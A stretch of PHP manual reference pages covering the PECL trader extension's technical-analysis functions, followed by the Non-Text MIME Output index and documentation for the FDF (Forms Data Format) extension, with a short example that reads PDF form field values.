Parameters

high

High price, array of real values.

low

Low price, array of real values.

close

Closing price, array of real values.

timePeriod

Number of period. Valid range from 2 to 100000.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Minus Directional Movement

  • « trader_minus_di
  • trader_mom »
  • PHP Manual
  • Trader Functions
  • Minus Directional Movement

trader_minus_dm

(PECL trader >= 0.2.0)

trader_minus_dm — Minus Directional Movement

Description

array trader_minus_dm ( array $high , array $low [, integer $timePeriod ] )

Parameters

high

High price, array of real values.

low

Low price, array of real values.

timePeriod

Number of period. Valid range from 2 to 100000.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Momentum

  • « trader_minus_dm
  • trader_mult »
  • PHP Manual
  • Trader Functions
  • Momentum

trader_mom

(PECL trader >= 0.2.0)

trader_mom — Momentum

Description

array trader_mom ( array $real [, integer $timePeriod ] )

Parameters

real

Array of real values.

timePeriod

Number of period. Valid range from 2 to 100000.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Vector Arithmetic Mult

  • « trader_mom
  • trader_natr »
  • PHP Manual
  • Trader Functions
  • Vector Arithmetic Mult

trader_mult

(PECL trader >= 0.2.0)

trader_mult — Vector Arithmetic Mult

Description

array trader_mult ( array $real0 , array $real1 )

Calculates the vector dot product of real0 with real1 and returns the resulting vector.

Parameters

real0

Array of real values.

real1

Array of real values.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Normalized Average True Range

  • « trader_mult
  • trader_obv »
  • PHP Manual
  • Trader Functions
  • Normalized Average True Range

trader_natr

(PECL trader >= 0.2.0)

trader_natr — Normalized Average True Range

Description

array trader_natr ( array $high , array $low , array $close [, integer $timePeriod ] )

Parameters

high

High price, array of real values.

low

Low price, array of real values.

close

Closing price, array of real values.

timePeriod

Number of period. Valid range from 2 to 100000.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


On Balance Volume

  • « trader_natr
  • trader_plus_di »
  • PHP Manual
  • Trader Functions
  • On Balance Volume

trader_obv

(PECL trader >= 0.2.0)

trader_obv — On Balance Volume

Description

array trader_obv ( array $real , array $volume )

Parameters

real

Array of real values.

volume

Volume traded, array of real values.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Plus Directional Indicator

  • « trader_obv
  • trader_plus_dm »
  • PHP Manual
  • Trader Functions
  • Plus Directional Indicator

trader_plus_di

(PECL trader >= 0.2.0)

trader_plus_di — Plus Directional Indicator

Description

array trader_plus_di ( array $high , array $low , array $close [, integer $timePeriod ] )

Parameters

high

High price, array of real values.

low

Low price, array of real values.

close

Closing price, array of real values.

timePeriod

Number of period. Valid range from 2 to 100000.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Plus Directional Movement

  • « trader_plus_di
  • trader_ppo »
  • PHP Manual
  • Trader Functions
  • Plus Directional Movement

trader_plus_dm

(PECL trader >= 0.2.0)

trader_plus_dm — Plus Directional Movement

Description

array trader_plus_dm ( array $high , array $low [, integer $timePeriod ] )

Parameters

high

High price, array of real values.

low

Low price, array of real values.

timePeriod

Number of period. Valid range from 2 to 100000.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Percentage Price Oscillator

  • « trader_plus_dm
  • trader_roc »
  • PHP Manual
  • Trader Functions
  • Percentage Price Oscillator

trader_ppo

(PECL trader >= 0.2.0)

trader_ppo — Percentage Price Oscillator

Description

array trader_ppo ( array $real [, integer $fastPeriod [, integer $slowPeriod [, integer $mAType ]]] )

Parameters

real

Array of real values.

fastPeriod

Number of period for the fast MA. Valid range from 2 to 100000.

slowPeriod

Number of period for the slow MA. Valid range from 2 to 100000.

mAType

Type of Moving Average. TRADER_MA_TYPE_* series of constants should be used.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Rate of change : ((price/prevPrice)-1)*100

  • « trader_ppo
  • trader_rocp »
  • PHP Manual
  • Trader Functions
  • Rate of change : ((price/prevPrice)-1)*100

trader_roc

(PECL trader >= 0.2.0)

trader_roc — Rate of change : ((price/prevPrice)-1)*100

Description

array trader_roc ( array $real [, integer $timePeriod ] )

Parameters

real

Array of real values.

timePeriod

Number of period. Valid range from 2 to 100000.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Rate of change Percentage: (price-prevPrice)/prevPrice

  • « trader_roc
  • trader_rocr100 »
  • PHP Manual
  • Trader Functions
  • Rate of change Percentage: (price-prevPrice)/prevPrice

trader_rocp

(PECL trader >= 0.2.0)

trader_rocp — Rate of change Percentage: (price-prevPrice)/prevPrice

Description

array trader_rocp ( array $real [, integer $timePeriod ] )

Parameters

real

Array of real values.

timePeriod

Number of period. Valid range from 2 to 100000.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Rate of change ratio 100 scale: (price/prevPrice)*100

  • « trader_rocp
  • trader_rocr »
  • PHP Manual
  • Trader Functions
  • Rate of change ratio 100 scale: (price/prevPrice)*100

trader_rocr100

(PECL trader >= 0.2.0)

trader_rocr100 — Rate of change ratio 100 scale: (price/prevPrice)*100

Description

array trader_rocr100 ( array $real [, integer $timePeriod ] )

Parameters

real

Array of real values.

timePeriod

Number of period. Valid range from 2 to 100000.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Rate of change ratio: (price/prevPrice)

  • « trader_rocr100
  • trader_rsi »
  • PHP Manual
  • Trader Functions
  • Rate of change ratio: (price/prevPrice)

trader_rocr

(PECL trader >= 0.2.0)

trader_rocr — Rate of change ratio: (price/prevPrice)

Description

array trader_rocr ( array $real [, integer $timePeriod ] )

Parameters

real

Array of real values.

timePeriod

Number of period. Valid range from 2 to 100000.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

mityaev_ivan at mail dot ru 02-Mar-2014 06:59
timePeriod can be from 1 (not from 2)
Working correctly, and tis is common need to calculate change from previos period.


Relative Strength Index

  • « trader_rocr
  • trader_sar »
  • PHP Manual
  • Trader Functions
  • Relative Strength Index

trader_rsi

(PECL trader >= 0.2.0)

trader_rsi — Relative Strength Index

Description

array trader_rsi ( array $real [, integer $timePeriod ] )

Parameters

real

Array of real values.

timePeriod

Number of period. Valid range from 2 to 100000.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Parabolic SAR

  • « trader_rsi
  • trader_sarext »
  • PHP Manual
  • Trader Functions
  • Parabolic SAR

trader_sar

(PECL trader >= 0.2.0)

trader_sar — Parabolic SAR

Description

array trader_sar ( array $high , array $low [, float $acceleration [, float $maximum ]] )

Parameters

high

High price, array of real values.

low

Low price, array of real values.

acceleration

Acceleration Factor used up to the Maximum value. Valid range from 0 to TRADER_REAL_MAX.

maximum

Acceleration Factor Maximum value. Valid range from 0 to TRADER_REAL_MAX.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Parabolic SAR - Extended

  • « trader_sar
  • trader_set_compat »
  • PHP Manual
  • Trader Functions
  • Parabolic SAR - Extended

trader_sarext

(PECL trader >= 0.2.0)

trader_sarext — Parabolic SAR - Extended

Description

array trader_sarext ( array $high , array $low [, float $startValue [, float $offsetOnReverse [, float $accelerationInitLong [, float $accelerationLong [, float $accelerationMaxLong [, float $accelerationInitShort [, float $accelerationShort [, float $accelerationMaxShort ]]]]]]]] )

Parameters

high

High price, array of real values.

low

Low price, array of real values.

startValue

Start value and direction. 0 for Auto, >0 for Long, <0 for Short. Valid range from TRADER_REAL_MIN to TRADER_REAL_MAX.

offsetOnReverse

Percent offset added/removed to initial stop on short/long reversal. Valid range from 0 to TRADER_REAL_MAX.

accelerationInitLong

Acceleration Factor initial value for the Long direction. Valid range from 0 to TRADER_REAL_MAX.

accelerationLong

Acceleration Factor for the Long direction. Valid range from 0 to TRADER_REAL_MAX.

accelerationMaxLong

Acceleration Factor maximum value for the Long direction. Valid range from 0 to TRADER_REAL_MAX.

accelerationInitShort

Acceleration Factor initial value for the Short direction. Valid range from 0 to TRADER_REAL_MAX.

accelerationShort

Acceleration Factor for the Short direction. Valid range from 0 to TRADER_REAL_MAX.

accelerationMaxShort

Acceleration Factor maximum value for the Short direction. Valid range from 0 to TRADER_REAL_MAX.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Set compatibility mode

  • « trader_sarext
  • trader_set_unstable_period »
  • PHP Manual
  • Trader Functions
  • Set compatibility mode

trader_set_compat

(PECL trader >= 0.2.2)

trader_set_compat — Set compatibility mode

Description

void trader_set_compat ( integer $compatId )

Set compatibility mode which will affect the way calculations are done by all the extension functions.

Parameters

compatId

Compatibility Id. TRADER_COMPATIBILITY_* series of constants should be used.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Set unstable period

  • « trader_set_compat
  • trader_sin »
  • PHP Manual
  • Trader Functions
  • Set unstable period

trader_set_unstable_period

(PECL trader >= 0.2.2)

trader_set_unstable_period — Set unstable period

Description

void trader_set_unstable_period ( integer $functionId , integer $timePeriod )

Influences unstable period factor for functions, which are sensible to it. More information about unstable periods can be found on the » TA-Lib API documentation page.

Parameters

functionId

Function ID the factor should be set for. TRADER_FUNC_UNST_* constant series can be used to affect the corresponding function.

timePeriod

Unstable period value.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Vector Trigonometric Sin

  • « trader_set_unstable_period
  • trader_sinh »
  • PHP Manual
  • Trader Functions
  • Vector Trigonometric Sin

trader_sin

(PECL trader >= 0.2.0)

trader_sin — Vector Trigonometric Sin

Description

array trader_sin ( array $real )

Calculates the sine for each value in real and returns the resulting array.

Parameters

real

Array of real values.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Vector Trigonometric Sinh

  • « trader_sin
  • trader_sma »
  • PHP Manual
  • Trader Functions
  • Vector Trigonometric Sinh

trader_sinh

(PECL trader >= 0.2.0)

trader_sinh — Vector Trigonometric Sinh

Description

array trader_sinh ( array $real )

Calculates the hyperbolic sine for each value in real and returns the resulting array.

Parameters

real

Array of real values.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Simple Moving Average

  • « trader_sinh
  • trader_sqrt »
  • PHP Manual
  • Trader Functions
  • Simple Moving Average

trader_sma

(PECL trader >= 0.2.0)

trader_sma — Simple Moving Average

Description

array trader_sma ( array $real [, integer $timePeriod ] )

Parameters

real

Array of real values.

timePeriod

Number of period. Valid range from 2 to 100000.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Vector Square Root

  • « trader_sma
  • trader_stddev »
  • PHP Manual
  • Trader Functions
  • Vector Square Root

trader_sqrt

(PECL trader >= 0.2.0)

trader_sqrt — Vector Square Root

Description

array trader_sqrt ( array $real )

Calculates the square root of each value in real and returns the resulting array.

Parameters

real

Array of real values.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Standard Deviation

  • « trader_sqrt
  • trader_stoch »
  • PHP Manual
  • Trader Functions
  • Standard Deviation

trader_stddev

(PECL trader >= 0.2.0)

trader_stddev — Standard Deviation

Description

array trader_stddev ( array $real [, integer $timePeriod [, float $nbDev ]] )

Parameters

real

Array of real values.

timePeriod

Number of period. Valid range from 2 to 100000.

nbDev

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Stochastic

  • « trader_stddev
  • trader_stochf »
  • PHP Manual
  • Trader Functions
  • Stochastic

trader_stoch

(PECL trader >= 0.2.0)

trader_stoch — Stochastic

Description

array trader_stoch ( array $high , array $low , array $close [, integer $fastK_Period [, integer $slowK_Period [, integer $slowK_MAType [, integer $slowD_Period [, integer $slowD_MAType ]]]]] )

Parameters

high

High price, array of real values.

low

Low price, array of real values.

close

Closing price, array of real values.

fastK_Period

Time period for building the Fast-K line. Valid range from 1 to 100000.

slowK_Period

Smoothing for making the Slow-K line. Valid range from 1 to 100000, usually set to 3.

slowK_MAType

Type of Moving Average for Slow-K. TRADER_MA_TYPE_* series of constants should be used.

slowD_Period

Smoothing for making the Slow-D line. Valid range from 1 to 100000.

slowD_MAType

Type of Moving Average for Slow-D. TRADER_MA_TYPE_* series of constants should be used.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Stochastic Fast

  • « trader_stoch
  • trader_stochrsi »
  • PHP Manual
  • Trader Functions
  • Stochastic Fast

trader_stochf

(PECL trader >= 0.2.0)

trader_stochf — Stochastic Fast

Description

array trader_stochf ( array $high , array $low , array $close [, integer $fastK_Period [, integer $fastD_Period [, integer $fastD_MAType ]]] )

Parameters

high

High price, array of real values.

low

Low price, array of real values.

close

Closing price, array of real values.

fastK_Period

Time period for building the Fast-K line. Valid range from 1 to 100000.

fastD_Period

Smoothing for making the Fast-D line. Valid range from 1 to 100000, usually set to 3.

fastD_MAType

Type of Moving Average for Fast-D. TRADER_MA_TYPE_* series of constants should be used.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Stochastic Relative Strength Index

  • « trader_stochf
  • trader_sub »
  • PHP Manual
  • Trader Functions
  • Stochastic Relative Strength Index

trader_stochrsi

(PECL trader >= 0.2.0)

trader_stochrsi — Stochastic Relative Strength Index

Description

array trader_stochrsi ( array $real [, integer $timePeriod [, integer $fastK_Period [, integer $fastD_Period [, integer $fastD_MAType ]]]] )

Parameters

real

Array of real values.

timePeriod

Number of period. Valid range from 2 to 100000.

fastK_Period

Time period for building the Fast-K line. Valid range from 1 to 100000.

fastD_Period

Smoothing for making the Fast-D line. Valid range from 1 to 100000, usually set to 3.

fastD_MAType

Type of Moving Average for Fast-D. TRADER_MA_TYPE_* series of constants should be used.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Vector Arithmetic Subtraction

  • « trader_stochrsi
  • trader_sum »
  • PHP Manual
  • Trader Functions
  • Vector Arithmetic Subtraction

trader_sub

(PECL trader >= 0.2.0)

trader_sub — Vector Arithmetic Subtraction

Description

array trader_sub ( array $real0 , array $real1 )

Calculates the vector subtraction of real1 from real0 and returns the resulting vector.

Parameters

real0

Array of real values.

real1

Array of real values.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Summation

  • « trader_sub
  • trader_t3 »
  • PHP Manual
  • Trader Functions
  • Summation

trader_sum

(PECL trader >= 0.2.0)

trader_sum — Summation

Description

array trader_sum ( array $real [, integer $timePeriod ] )

Parameters

real

Array of real values.

timePeriod

Number of period. Valid range from 2 to 100000.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Triple Exponential Moving Average (T3)

  • « trader_sum
  • trader_tan »
  • PHP Manual
  • Trader Functions
  • Triple Exponential Moving Average (T3)

trader_t3

(PECL trader >= 0.2.0)

trader_t3 — Triple Exponential Moving Average (T3)

Description

array trader_t3 ( array $real [, integer $timePeriod [, float $vFactor ]] )

Parameters

real

Array of real values.

timePeriod

Number of period. Valid range from 2 to 100000.

vFactor

Volume Factor. Valid range from 1 to 0.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Vector Trigonometric Tan

  • « trader_t3
  • trader_tanh »
  • PHP Manual
  • Trader Functions
  • Vector Trigonometric Tan

trader_tan

(PECL trader >= 0.2.0)

trader_tan — Vector Trigonometric Tan

Description

array trader_tan ( array $real )

Calculates the tangent for each value in real and returns the resulting array.

Parameters

real

Array of real values.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Vector Trigonometric Tanh

  • « trader_tan
  • trader_tema »
  • PHP Manual
  • Trader Functions
  • Vector Trigonometric Tanh

trader_tanh

(PECL trader >= 0.2.0)

trader_tanh — Vector Trigonometric Tanh

Description

array trader_tanh ( array $real )

Calculates the hyperbolic tangent for each value in real and returns the resulting array.

Parameters

real

Array of real values.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Triple Exponential Moving Average

  • « trader_tanh
  • trader_trange »
  • PHP Manual
  • Trader Functions
  • Triple Exponential Moving Average

trader_tema

(PECL trader >= 0.2.0)

trader_tema — Triple Exponential Moving Average

Description

array trader_tema ( array $real [, integer $timePeriod ] )

Parameters

real

Array of real values.

timePeriod

Number of period. Valid range from 2 to 100000.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


True Range

  • « trader_tema
  • trader_trima »
  • PHP Manual
  • Trader Functions
  • True Range

trader_trange

(PECL trader >= 0.2.0)

trader_trange — True Range

Description

array trader_trange ( array $high , array $low , array $close )

Parameters

high

High price, array of real values.

low

Low price, array of real values.

close

Closing price, array of real values.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Triangular Moving Average

  • « trader_trange
  • trader_trix »
  • PHP Manual
  • Trader Functions
  • Triangular Moving Average

trader_trima

(PECL trader >= 0.2.0)

trader_trima — Triangular Moving Average

Description

array trader_trima ( array $real [, integer $timePeriod ] )

Parameters

real

Array of real values.

timePeriod

Number of period. Valid range from 2 to 100000.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


1-day Rate-Of-Change (ROC) of a Triple Smooth EMA

  • « trader_trima
  • trader_tsf »
  • PHP Manual
  • Trader Functions
  • 1-day Rate-Of-Change (ROC) of a Triple Smooth EMA

trader_trix

(PECL trader >= 0.2.0)

trader_trix — 1-day Rate-Of-Change (ROC) of a Triple Smooth EMA

Description

array trader_trix ( array $real [, integer $timePeriod ] )

Parameters

real

Array of real values.

timePeriod

Number of period. Valid range from 2 to 100000.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Time Series Forecast

  • « trader_trix
  • trader_typprice »
  • PHP Manual
  • Trader Functions
  • Time Series Forecast

trader_tsf

(PECL trader >= 0.2.0)

trader_tsf — Time Series Forecast

Description

array trader_tsf ( array $real [, integer $timePeriod ] )

Parameters

real

Array of real values.

timePeriod

Number of period. Valid range from 2 to 100000.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Typical Price

  • « trader_tsf
  • trader_ultosc »
  • PHP Manual
  • Trader Functions
  • Typical Price

trader_typprice

(PECL trader >= 0.2.0)

trader_typprice — Typical Price

Description

array trader_typprice ( array $high , array $low , array $close )

Parameters

high

High price, array of real values.

low

Low price, array of real values.

close

Closing price, array of real values.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Ultimate Oscillator

  • « trader_typprice
  • trader_var »
  • PHP Manual
  • Trader Functions
  • Ultimate Oscillator

trader_ultosc

(PECL trader >= 0.2.0)

trader_ultosc — Ultimate Oscillator

Description

array trader_ultosc ( array $high , array $low , array $close [, integer $timePeriod1 [, integer $timePeriod2 [, integer $timePeriod3 ]]] )

Parameters

high

High price, array of real values.

low

Low price, array of real values.

close

Closing price, array of real values.

timePeriod1

Number of bars for 1st period. Valid range from 1 to 100000.

timePeriod2

Number of bars for 2nd period. Valid range from 1 to 100000.

timePeriod3

Number of bars for 3rd period. Valid range from 1 to 100000.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Variance

  • « trader_ultosc
  • trader_wclprice »
  • PHP Manual
  • Trader Functions
  • Variance

trader_var

(PECL trader >= 0.2.0)

trader_var — Variance

Description

array trader_var ( array $real [, integer $timePeriod [, float $nbDev ]] )

Parameters

real

Array of real values.

timePeriod

Number of period. Valid range from 2 to 100000.

nbDev

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Weighted Close Price

  • « trader_var
  • trader_willr »
  • PHP Manual
  • Trader Functions
  • Weighted Close Price

trader_wclprice

(PECL trader >= 0.2.0)

trader_wclprice — Weighted Close Price

Description

array trader_wclprice ( array $high , array $low , array $close )

Parameters

high

High price, array of real values.

low

Low price, array of real values.

close

Closing price, array of real values.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Williams' %R

  • « trader_wclprice
  • trader_wma »
  • PHP Manual
  • Trader Functions
  • Williams' %R

trader_willr

(PECL trader >= 0.2.0)

trader_willr — Williams' %R

Description

array trader_willr ( array $high , array $low , array $close [, integer $timePeriod ] )

Parameters

high

High price, array of real values.

low

Low price, array of real values.

close

Closing price, array of real values.

timePeriod

Number of period. Valid range from 2 to 100000.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Weighted Moving Average

  • « trader_willr
  • Non-Text MIME Output »
  • PHP Manual
  • Trader Functions
  • Weighted Moving Average

trader_wma

(PECL trader >= 0.2.0)

trader_wma — Weighted Moving Average

Description

array trader_wma ( array $real [, integer $timePeriod ] )

Parameters

real

Array of real values.

timePeriod

Number of period. Valid range from 2 to 100000.

Return Values

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Non-Text MIME Output

  • FDF — Forms Data Format
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Examples
    • FDF Functions
  • GnuPG — GNU Privacy Guard
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Examples
    • GnuPG Functions
  • haru — Haru PDF
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Examples
    • Builtin Fonts And Encodings
    • HaruException — The HaruException class
    • HaruDoc — The HaruDoc class
    • HaruPage — The HaruPage class
    • HaruFont — The HaruFont class
    • HaruImage — The HaruImage class
    • HaruEncoder — The HaruEncoder class
    • HaruOutline — The HaruOutline class
    • HaruAnnotation — The HaruAnnotation class
    • HaruDestination — The HaruDestination class
  • Ming — Ming (flash)
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Examples
    • Ming Functions
    • SWFAction — The SWFAction class
    • SWFBitmap — The SWFBitmap class
    • SWFButton — The SWFButton class
    • SWFDisplayItem — The SWFDisplayItem class
    • SWFFill — The SWFFill class
    • SWFFont — The SWFFont class
    • SWFFontChar — The SWFFontChar class
    • SWFGradient — The SWFGradient class
    • SWFMorph — The SWFMorph class
    • SWFMovie — The SWFMovie class
    • SWFPrebuiltClip — The SWFPrebuiltClip class
    • SWFShape — The SWFShape class
    • SWFSound — The SWFSound class
    • SWFSoundInstance — The SWFSoundInstance class
    • SWFSprite — The SWFSprite class
    • SWFText — The SWFText class
    • SWFTextField — The SWFTextField class
    • SWFVideoStream — The SWFVideoStream class
  • PDF
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Examples
    • PDF Functions
  • PS — PostScript document creation
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • PS Functions
  • RPM Reader — RPM Header Reading
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Examples
    • RPM Reader Functions

User Contributed Notes

There are no user contributed notes for this page.


Forms Data Format

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Examples
  • FDF Functions
    • fdf_add_doc_javascript — Adds javascript code to the FDF document
    • fdf_add_template — Adds a template into the FDF document
    • fdf_close — Close an FDF document
    • fdf_create — Create a new FDF document
    • fdf_enum_values — Call a user defined function for each document value
    • fdf_errno — Return error code for last fdf operation
    • fdf_error — Return error description for FDF error code
    • fdf_get_ap — Get the appearance of a field
    • fdf_get_attachment — Extracts uploaded file embedded in the FDF
    • fdf_get_encoding — Get the value of the /Encoding key
    • fdf_get_file — Get the value of the /F key
    • fdf_get_flags — Gets the flags of a field
    • fdf_get_opt — Gets a value from the opt array of a field
    • fdf_get_status — Get the value of the /STATUS key
    • fdf_get_value — Get the value of a field
    • fdf_get_version — Gets version number for FDF API or file
    • fdf_header — Sets FDF-specific output headers
    • fdf_next_field_name — Get the next field name
    • fdf_open_string — Read a FDF document from a string
    • fdf_open — Open a FDF document
    • fdf_remove_item — Sets target frame for form
    • fdf_save_string — Returns the FDF document as a string
    • fdf_save — Save a FDF document
    • fdf_set_ap — Set the appearance of a field
    • fdf_set_encoding — Sets FDF character encoding
    • fdf_set_file — Set PDF document to display FDF data in
    • fdf_set_flags — Sets a flag of a field
    • fdf_set_javascript_action — Sets an javascript action of a field
    • fdf_set_on_import_javascript — Adds javascript code to be executed when Acrobat opens the FDF
    • fdf_set_opt — Sets an option of a field
    • fdf_set_status — Set the value of the /STATUS key
    • fdf_set_submit_form_action — Sets a submit form action of a field
    • fdf_set_target_frame — Set target frame for form display
    • fdf_set_value — Set the value of a field
    • fdf_set_version — Sets version number for a FDF file

User Contributed Notes

There are no user contributed notes for this page.


Introduction

Forms Data Format (FDF) is a format for handling forms within PDF documents. You should read the documentation at » http://www.adobe.com/devnet/acrobat/fdftoolkit.html for more information on what FDF is and how it is used in general.

The general idea of FDF is similar to HTML forms. The difference is basically the format how data is transmitted to the server when the submit button is pressed (this is actually the Form Data Format) and the format of the form itself (which is the Portable Document Format, PDF). Processing the FDF data is one of the features provided by the fdf functions. But there is more. One may as well take an existing PDF form and populated the input fields with data without modifying the form itself. In such a case one would create a FDF document (fdf_create()) set the values of each input field (fdf_set_value()) and associate it with a PDF form (fdf_set_file()). Finally it has to be sent to the browser with MimeType application/vnd.fdf. The Acrobat reader plugin of your browser recognizes the MimeType, reads the associated PDF form and fills in the data from the FDF document.

If you look at an FDF-document with a text editor you will find a catalogue object with the name FDF. Such an object may contain a number of entries like Fields, F, Status etc.. The most commonly used entries are Fields which points to a list of input fields, and F which contains the filename of the PDF-document this data belongs to. Those entries are referred to in the FDF documentation as /F-Key or /Status-Key. Modifying this entries is done by functions like fdf_set_file() and fdf_set_status(). Fields are modified with fdf_set_value(), fdf_set_opt() etc..

User Contributed Notes

There are no user contributed notes for this page.


Requirements

You need the FDF toolkit SDK available from » http://www.adobe.com/devnet/acrobat/fdftoolkit.html. As of PHP 4.3.0 you need at least SDK version 5.0. The FDF toolkit library is available in binary form only, platforms supported by Adobe are Win32, Linux, Solaris and AIX.

User Contributed Notes

There are no user contributed notes for this page.


Installation

This extension is considered unmaintained and dead. However, the source code for this extension is still available within PECL SVN here: » http://svn.php.net/viewvc/pecl/fdf.

This extension has been moved to the » PECL repository and is no longer bundled with PHP as of PHP 5.3.0

Note: If you run into problems configuring PHP with fdftk support, check whether the header file fdftk.h and the library libfdftk.so are at the right place. The configure script supports both the directory structure of the FDF SDK distribution and the usual DIR/include / DIR/lib layout, so you can point it either directly to the unpacked distribution directory or put the header file and the appropriate library for your platform into e.g. /usr/local/include and /usr/local/lib and configure with --with-fdftk=/usr/local .

Note: Note to Win32 Users

In order for this extension to work, there are DLL files that must be available to the Windows system PATH. For information on how to do this, see the FAQ entitled "How do I add my PHP directory to the PATH on Windows". Although copying DLL files from the PHP folder into the Windows system directory also works (because the system directory is by default in the system's PATH), this is not recommended. This extension requires the following files to be in the PATH: fdftk.dll

User Contributed Notes

There are no user contributed notes for this page.


Resource Types

Most fdf functions require a fdf resource as their first parameter. A fdf resource is a handle to an opened fdf file. fdf resources may be obtained using fdf_create(), fdf_open() and fdf_open_string().

User Contributed Notes

There are no user contributed notes for this page.


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

FDFValue (integer)
FDFStatus (integer)
FDFFile (integer)
FDFID (integer)
FDFFf (integer)
FDFSetFf (integer)
FDFClearFf (integer)
FDFFlags (integer)
FDFSetF (integer)
FDFClrF (integer)
FDFAP (integer)
FDFAS (integer)
FDFAction (integer)
FDFAA (integer)
FDFAPRef (integer)
FDFIF (integer)
FDFEnter (integer)
FDFExit (integer)
FDFDown (integer)
FDFUp (integer)
FDFFormat (integer)
FDFValidate (integer)
FDFKeystroke (integer)
FDFCalculate (integer)
FDFNormalAP (integer)
FDFRolloverAP (integer)
FDFDownAP (integer)

User Contributed Notes

There are no user contributed notes for this page.


Examples

The following examples shows just the evaluation of form data.

Example #1 Evaluating a FDF document

<?php
// Open fdf from input string provided by the extension
// The pdf form contained several input text fields with the names
// volume, date, comment, publisher, preparer, and two checkboxes
// show_publisher and show_preparer.
$fdf = fdf_open_string($HTTP_FDF_DATA);
$volume = fdf_get_value($fdf, "volume");
echo "The volume field has the value '<b>$volume</b>'<br />";

$date = fdf_get_value($fdf, "date");
echo "The date field has the value '<b>$date</b>'<br />";

$comment = fdf_get_value($fdf, "comment");
echo "The comment field has the value '<b>$comment</b>'<br />";

if (fdf_get_value($fdf, "show_publisher") == "On") {
  $publisher = fdf_get_value($fdf, "publisher");
  echo "The publisher field has the value '<b>$publisher</b>'<br />";
} else
  echo "Publisher shall not be shown.<br />";

if (fdf_get_value($fdf, "show_preparer") == "On") {
  $preparer = fdf_get_value($fdf, "preparer");
  echo "The preparer field has the value '<b>$preparer</b>'<br />";
} else
  echo "Preparer shall not be shown.<br />";
fdf_close($fdf);
?>

User Contributed Notes

There are no user contributed notes for this page.


FDF Functions

Table of Contents

  • fdf_add_doc_javascript â€” Adds javascript code to the FDF document
  • fdf_add_template â€” Adds a template into the FDF document
  • fdf_close â€” Close an FDF document
  • fdf_create â€” Create a new FDF document
  • fdf_enum_values â€” Call a user defined function for each document value
  • fdf_errno â€” Return error code for last fdf operation
  • fdf_error â€” Return error description for FDF error code
  • fdf_get_ap â€” Get the appearance of a field
  • fdf_get_attachment â€” Extracts uploaded file embedded in the FDF
  • fdf_get_encoding â€” Get the value of the /Encoding key
  • fdf_get_file â€” Get the value of the /F key
  • fdf_get_flags â€” Gets the flags of a field
